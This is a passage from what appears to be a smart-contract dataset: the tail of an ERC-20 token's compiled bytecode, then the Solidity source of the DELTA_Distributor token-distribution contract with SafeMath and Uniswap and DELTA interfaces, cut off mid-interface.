ffffff16815260200190815260200160002060009054906101000a900460ff165b80611efa5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ef95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f08576000905061208f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fb35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fcb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120765750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561208e57600a54600c81905550600b54600d819055505b5b61209b84848484612566565b50505050565b60008383111582906120e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e09190613378565b60405180910390fd5b50600083856120f89190613771565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61215560028461259390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612180573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121d160028461259390919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121fc573d6000803e3d6000fd5b5050565b6000600654821115612247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223e906133da565b60405180910390fd5b60006122516125dd565b9050612266818461259390919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122f95781602001602082028036833780820191505090505b5090503081600081518110612337577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123d957600080fd5b505afa1580156123ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124119190612de7565b8160018151811061244b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611651565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612516959493929190613575565b600060405180830381600087803b15801561253057600080fd5b505af1158015612544573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061257457612573612608565b5b61257f84848461264b565b8061258d5761258c612816565b5b50505050565b60006125d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282a565b905092915050565b60008060006125ea61288d565b91509150612601818361259390919063ffffffff16565b9250505090565b6000600c5414801561261c57506000600d54145b1561262657612649565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061265d876128e9565b9550955095509550955095506126bb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279c816129f9565b6127a68483612ab6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612803919061355a565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128689190613378565b60405180910390fd5b506000838561288091906136e6565b9050809150509392505050565b600080600060065490506000662386f26fc1000090506128bf662386f26fc1000060065461259390919063ffffffff16565b8210156128dc57600654662386f26fc100009350935050506128e5565b81819350935050505b9091565b60008060008060008060008060006129068a600c54600d54612af0565b92509250925060006129166125dd565b905060008060006129298e878787612b86565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a1565b905092915050565b60008082846129aa9190613690565b9050838110156129ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e69061347a565b60405180910390fd5b8091505092915050565b6000612a036125dd565b90506000612a1a8284612c0f90919063ffffffff16565b9050612a6e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612acb8260065461295190919063ffffffff16565b600681905550612ae68160075461299b90919063ffffffff16565b6007819055505050565b600080600080612b1c6064612b0e888a612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b466064612b38888b612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b6f82612b61858c61295190919063ffffffff16565b61295190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612b9f8589612c0f90919063ffffffff16565b90506000612bb68689612c0f90919063ffffffff16565b90506000612bcd8789612c0f90919063ffffffff16565b90506000612bf682612be8858761295190919063ffffffff16565b61295190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c225760009050612c84565b60008284612c309190613717565b9050828482612c3f91906136e6565b14612c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c769061349a565b60405180910390fd5b809150505b92915050565b6000612c9d612c988461360f565b6135ea565b90508083825260208201905082856020860282011115612cbc57600080fd5b60005b85811015612cec5781612cd28882612cf6565b845260208401935060208301925050600181019050612cbf565b5050509392505050565b600081359050612d0581613d5b565b92915050565b600081519050612d1a81613d5b565b92915050565b60008083601f840112612d3257600080fd5b8235905067ffffffffffffffff811115612d4b57600080fd5b602083019150836020820283011115612d6357600080fd5b9250929050565b600082601f830112612d7b57600080fd5b8135612d8b848260208601612c8a565b91505092915050565b600081359050612da381613d72565b92915050565b600081359050612db881613d89565b92915050565b600060208284031215612dd057600080fd5b6000612dde84828501612cf6565b91505092915050565b600060208284031215612df957600080fd5b6000612e0784828501612d0b565b91505092915050565b60008060408385031215612e2357600080fd5b6000612e3185828601612cf6565b9250506020612e4285828601612cf6565b9150509250929050565b600080600060608486031215612e6157600080fd5b6000612e6f86828701612cf6565b9350506020612e8086828701612cf6565b9250506040612e9186828701612da9565b9150509250925092565b60008060408385031215612eae57600080fd5b6000612ebc85828601612cf6565b9250506020612ecd85828601612da9565b9150509250929050565b600080600060408486031215612eec57600080fd5b600084013567ffffffffffffffff811115612f0657600080fd5b612f1286828701612d20565b93509350506020612f2586828701612d94565b9150509250925092565b600060208284031215612f4157600080fd5b600082013567ffffffffffffffff811115612f5b57600080fd5b612f6784828501612d6a565b91505092915050565b600060208284031215612f8257600080fd5b6000612f9084828501612d94565b91505092915050565b600060208284031215612fab57600080fd5b6000612fb984828501612da9565b91505092915050565b60008060008060808587031215612fd857600080fd5b6000612fe687828801612da9565b9450506020612ff787828801612da9565b935050604061300887828801612da9565b925050606061301987828801612da9565b91505092959194509250565b6000613031838361303d565b60208301905092915050565b613046816137a5565b82525050565b613055816137a5565b82525050565b60006130668261364b565b613070818561366e565b935061307b8361363b565b8060005b838110156130ac5781516130938882613025565b975061309e83613661565b92505060018101905061307f565b5085935050505092915050565b6130c2816137b7565b82525050565b6130d1816137fa565b82525050565b6130e08161381e565b82525050565b60006130f182613656565b6130fb818561367f565b935061310b818560208601613830565b6131148161396a565b840191505092915050565b600061312c60238361367f565b91506131378261397b565b604082019050919050565b600061314f603f8361367f565b915061315a826139ca565b604082019050919050565b6000613172602a8361367f565b915061317d82613a19565b604082019050919050565b6000613195601c8361367f565b91506131a082613a68565b602082019050919050565b60006131b860268361367f565b91506131c382613a91565b604082019050919050565b60006131db60228361367f565b91506131e682613ae0565b604082019050919050565b60006131fe60238361367f565b915061320982613b2f565b604082019050919050565b6000613221601b8361367f565b915061322c82613b7e565b602082019050919050565b600061324460218361367f565b915061324f82613ba7565b604082019050919050565b600061326760208361367f565b915061327282613bf6565b602082019050919050565b600061328a60298361367f565b915061329582613c1f565b604082019050919050565b60006132ad60258361367f565b91506132b882613c6e565b604082019050919050565b60006132d060238361367f565b91506132db82613cbd565b604082019050919050565b60006132f360248361367f565b91506132fe82613d0c565b604082019050919050565b613312816137e3565b82525050565b613321816137ed565b82525050565b600060208201905061333c600083018461304c565b92915050565b600060208201905061335760008301846130b9565b92915050565b600060208201905061337260008301846130c8565b92915050565b6000602082019050818103600083015261339281846130e6565b905092915050565b600060208201905081810360008301526133b38161311f565b9050919050565b600060208201905081810360008301526133d381613142565b9050919050565b600060208201905081810360008301526133f381613165565b9050919050565b6000602082019050818103600083015261341381613188565b9050919050565b60006020820190508181036000830152613433816131ab565b9050919050565b60006020820190508181036000830152613453816131ce565b9050919050565b60006020820190508181036000830152613473816131f1565b9050919050565b6000602082019050818103600083015261349381613214565b9050919050565b600060208201905081810360008301526134b381613237565b9050919050565b600060208201905081810360008301526134d38161325a565b9050919050565b600060208201905081810360008301526134f38161327d565b9050919050565b60006020820190508181036000830152613513816132a0565b9050919050565b60006020820190508181036000830152613533816132c3565b9050919050565b60006020820190508181036000830152613553816132e6565b9050919050565b600060208201905061356f6000830184613309565b92915050565b600060a08201905061358a6000830188613309565b61359760208301876130d7565b81810360408301526135a9818661305b565b90506135b8606083018561304c565b6135c56080830184613309565b9695505050505050565b60006020820190506135e46000830184613318565b92915050565b60006135f4613605565b90506136008282613863565b919050565b6000604051905090565b600067ffffffffffffffff82111561362a5761362961393b565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061369b826137e3565b91506136a6836137e3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136db576136da6138dd565b5b828201905092915050565b60006136f1826137e3565b91506136fc836137e3565b92508261370c5761370b61390c565b5b828204905092915050565b6000613722826137e3565b915061372d836137e3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613766576137656138dd565b5b828202905092915050565b600061377c826137e3565b9150613787836137e3565b92508282101561379a576137996138dd565b5b828203905092915050565b60006137b0826137c3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006138058261380c565b9050919050565b6000613817826137c3565b9050919050565b6000613829826137e3565b9050919050565b60005b8381101561384e578082015181840152602081019050613833565b8381111561385d576000848401525b50505050565b61386c8261396a565b810181811067ffffffffffffffff8211171561388b5761388a61393b565b5b80604052505050565b600061389f826137e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138d2576138d16138dd565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d64816137a5565b8114613d6f57600080fd5b50565b613d7b816137b7565b8114613d8657600080fd5b50565b613d92816137e3565b8114613d9d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208bb44d1580d90402773225469e1cc465e57667c9f48aab6b17442f1eb9b8a2be64736f6c63430008040033
[ 13 ]
0xF249C5B422758D91d8f05E1Cc5FC85CF4B667461
// SPDX-License-Identifier: UNLICENSED // DELTA-BUG-BOUNTY pragma abicoder v2; import "../libs/SafeMath.sol"; import "../../interfaces/IUniswapV2Pair.sol"; import "../../interfaces/IDeltaToken.sol"; import "../../interfaces/IDeepFarmingVault.sol"; interface ICORE_VAULT { function addPendingRewards(uint256) external; } contract DELTA_Distributor { using SafeMath for uint256; // Immutableas and constants // defacto burn address, this one isnt used commonly so its easy to see burned amounts on just etherscan address constant internal DEAD_BEEF = 0xDeaDbeefdEAdbeefdEadbEEFdeadbeEFdEaDbeeF; address constant public WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address constant public CORE = 0x62359Ed7505Efc61FF1D56fEF82158CcaffA23D7; address constant public CORE_WETH_PAIR = 0x32Ce7e48debdccbFE0CD037Cc89526E4382cb81b; address constant public DELTA_MULTISIG = 0xB2d834dd31816993EF53507Eb1325430e67beefa; address constant public CORE_VAULT = 0xC5cacb708425961594B63eC171f4df27a9c0d8c9; // We sell 20% and distribute it thus uint256 constant public PERCENT_BURNED = 16; uint256 constant public PERCENT_DEV_FUND= 8; uint256 constant public PERCENT_DEEP_FARMING_VAULT = 56; uint256 constant public PERCENT_SOLD = 20; uint256 constant public PERCENT_OF_SOLD_DEV = 50; uint256 constant public PERCENT_OF_SOLD_CORE_BUY = 25; uint256 constant public PERCENT_OF_SOLD_DELTA_WETH_DEEP_FARMING_VAULT = 25; address constant public DELTA_WETH_PAIR_SUSHISWAP = 0x1498bd576454159Bb81B5Ce532692a8752D163e8; IDeltaToken constant public DELTA_TOKEN = IDeltaToken(0x9EA3b5b4EC044b70375236A281986106457b20EF); // storage variables address public deepFarmingVault; uint256 public pendingBurn; uint256 public pendingDev; uint256 public pendingTotal; mapping(address => uint256) public pendingCredits; mapping(address => bool) public isApprovedLiquidator; receive() external payable { revert("ETH not allowed"); } function distributeAndBurn() public { // Burn DELTA_TOKEN.transfer(DEAD_BEEF, pendingBurn); pendingTotal = pendingTotal.sub(pendingBurn); delete pendingBurn; // Transfer dev address deltaMultisig = DELTA_TOKEN.governance(); DELTA_TOKEN.transfer(deltaMultisig, pendingDev); pendingTotal = pendingTotal.sub(pendingDev); delete pendingDev; } /// @notice a function that distributes pending to all the vaults etdc // This is able to be called by anyone. // And is simply just here to save gas on the distribution math function distribute() public { uint256 amountDeltaNow = DELTA_TOKEN.balanceOf(address(this)); uint256 _pendingTotal = pendingTotal; uint256 amountAdded = amountDeltaNow.sub(_pendingTotal); // pendingSell stores in this variable and is not counted if(amountAdded < 1e18) { // We only add 1 DELTA + of rewards to save gas from the DFV calls. return; } uint256 toBurn = amountAdded.mul(PERCENT_BURNED).div(100); uint256 toDev = amountAdded.mul(PERCENT_DEV_FUND).div(100); uint256 toVault = amountAdded.mul(PERCENT_DEEP_FARMING_VAULT).div(100); // Not added to pending case we transfer it now pendingBurn = pendingBurn.add(toBurn); pendingDev = pendingDev.add(toDev); pendingTotal = _pendingTotal.add(amountAdded).sub(toVault); // We send to the vault and credit it IDeepFarmingVault(deepFarmingVault).addNewRewards(toVault, 0); // Reserve is how much we can sell thats remaining 20% } function setDeepFarmingVault(address _deepFarmingVault) public { onlyMultisig(); deepFarmingVault = _deepFarmingVault; // set infinite approvals refreshApprovals(); UserInformation memory ui = DELTA_TOKEN.userInformation(address(this)); require(ui.noVestingWhitelisted, "DFV :: Set no vesting whitelist!"); require(ui.fullSenderWhitelisted, "DFV :: Set full sender whitelist!"); require(ui.immatureReceiverWhitelisted, "DFV :: Set immature whitelist!"); } function refreshApprovals() public { DELTA_TOKEN.approve(deepFarmingVault, uint(-1)); IERC20(WETH).approve(deepFarmingVault, uint(-1)); } constructor () { // we check for a correct config require(PERCENT_SOLD + PERCENT_BURNED + PERCENT_DEV_FUND + PERCENT_DEEP_FARMING_VAULT == 100, "Amounts not proper"); require(PERCENT_OF_SOLD_DEV + PERCENT_OF_SOLD_CORE_BUY + PERCENT_OF_SOLD_DELTA_WETH_DEEP_FARMING_VAULT == 100 , "Amount of weth split not proper"); } function getWETHForDeltaAndDistribute(uint256 amountToSellFullUnits, uint256 minAmountWETHForSellingDELTA, uint256 minAmountCOREUnitsPer1WETH) public { require(isApprovedLiquidator[msg.sender] == true, "!approved liquidator"); distribute(); // we call distribute to get rid of all coins that are not supposed to be sold distributeAndBurn(); // We swap and make sure we can get enough out // require(address(this) < wethAddress, "Invalid Token Address"); in DELTA token constructor IUniswapV2Pair pairDELTA = IUniswapV2Pair(DELTA_WETH_PAIR_SUSHISWAP); (uint256 reservesDELTA, uint256 reservesWETHinDELTA, ) = pairDELTA.getReserves(); uint256 deltaUnitsToSell = amountToSellFullUnits * 1 ether; uint256 balanceDelta = DELTA_TOKEN.balanceOf(address(this)); require(balanceDelta >= deltaUnitsToSell, "Amount is greater than reserves"); uint256 amountETHOut = getAmountOut(deltaUnitsToSell, reservesDELTA, reservesWETHinDELTA); require(amountETHOut >= minAmountWETHForSellingDELTA * 1 ether, "Did not get enough ETH to cover min"); // We swap for eth DELTA_TOKEN.transfer(DELTA_WETH_PAIR_SUSHISWAP, deltaUnitsToSell); pairDELTA.swap(0, amountETHOut, address(this), ""); address dfv = deepFarmingVault; // We transfer the splits of WETH IERC20 weth = IERC20(WETH); weth.transfer(DELTA_MULTISIG, amountETHOut.div(2)); IDeepFarmingVault(dfv).addNewRewards(0, amountETHOut.div(4)); /// Transfer here doesnt matter cause its taken from reserves and this does nto update weth.transfer(CORE_WETH_PAIR, amountETHOut.div(4)); // We swap WETH for CORE and send it to the vault and update the pending inside the vault IUniswapV2Pair pairCORE = IUniswapV2Pair(CORE_WETH_PAIR); (uint256 reservesCORE, uint256 reservesWETHCORE, ) = pairCORE.getReserves(); // function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) internal pure returns (uint256 amountOut) { uint256 coreOut = getAmountOut(amountETHOut.div(4), reservesWETHCORE, reservesCORE); uint256 coreOut1WETH = getAmountOut(1 ether, reservesWETHCORE, reservesCORE); require(coreOut1WETH >= minAmountCOREUnitsPer1WETH, "Did not get enough CORE check amountCOREUnitsBoughtFor1WETH() fn"); pairCORE.swap(coreOut, 0, CORE_VAULT, ""); // uint passed is deprecated ICORE_VAULT(CORE_VAULT).addPendingRewards(0); pendingTotal = pendingTotal.sub(deltaUnitsToSell); // we adjust the reserves // since we might had nto swapped everything } function editApprovedLiquidator(address liquidator, bool isLiquidator) public { onlyMultisig(); isApprovedLiquidator[liquidator] = isLiquidator; } function deltaGovernance() public view returns (address) { if(address(DELTA_TOKEN) == address(0)) {return address (0); } return DELTA_TOKEN.governance(); } function onlyMultisig() private view { require(msg.sender == deltaGovernance(), "!governance"); } function amountCOREUnitsBoughtFor1WETH() public view returns(uint256) { IUniswapV2Pair pair = IUniswapV2Pair(CORE_WETH_PAIR); // CORE is token0 (uint256 reservesCORE, uint256 reservesWETH, ) = pair.getReserves(); return getAmountOut(1 ether, reservesWETH, reservesCORE); } function getAmountOut(uint256 amountIn, uint256 reserveIn, uint256 reserveOut) internal pure returns (uint256 amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } function rescueTokens(address token) public { onlyMultisig(); IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this))); } // Allows users to claim free credit function claimCredit() public { uint256 pending = pendingCredits[msg.sender]; require(pending > 0, "Nothing to claim"); pendingCredits[msg.sender] = 0; IDeepFarmingVault(deepFarmingVault).addPermanentCredits(msg.sender, pending); } /// Credits user for burning tokens // Can only be called by the delta token // Note this is a inherently trusted function that does not do balance checks. function creditUser(address user, uint256 amount) public { require(msg.sender == address(DELTA_TOKEN), "KNOCK KNOCK"); pendingCredits[user] = pendingCredits[user].add(amount.mul(PERCENT_BURNED).div(100)); // we add the burned amount to perma credit } function addDevested(address user, uint256 amount) public { require(DELTA_TOKEN.transferFrom(msg.sender, address(this), amount), "Did not transfer enough"); pendingCredits[user] = pendingCredits[user].add(amount.mul(PERCENT_BURNED).div(100)); // we add the burned amount to perma credit } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // SPDX-License-Identifier: UNLICENSED pragma experimental ABIEncoderV2; pragma solidity ^0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "../common/OVLTokenTypes.sol"; interface IDeltaToken is IERC20 { function vestingTransactions(address, uint256) external view returns (VestingTransaction memory); function getUserInfo(address) external view returns (UserInformationLite memory); function getMatureBalance(address, uint256) external view returns (uint256); function liquidityRebasingPermitted() external view returns (bool); function lpTokensInPair() external view returns (uint256); function governance() external view returns (address); function performLiquidityRebasing() external; function distributor() external view returns (address); function totalsForWallet(address ) external view returns (WalletTotals memory totals); function adjustBalanceOfNoVestingAccount(address, uint256,bool) external; function userInformation(address user) external view returns (UserInformation memory); // Added with Sushi update function setTokenTransferHandler(address) external; function setBalanceCalculator(address) external; function setPendingGovernance(address) external; function acceptGovernance() external; } pragma abicoder v2; struct RecycleInfo { uint256 booster; uint256 farmedDelta; uint256 farmedETH; uint256 recycledDelta; uint256 recycledETH; } interface IDeepFarmingVault { function addPermanentCredits(address,uint256) external; function addNewRewards(uint256 amountDELTA, uint256 amountWETH) external; function 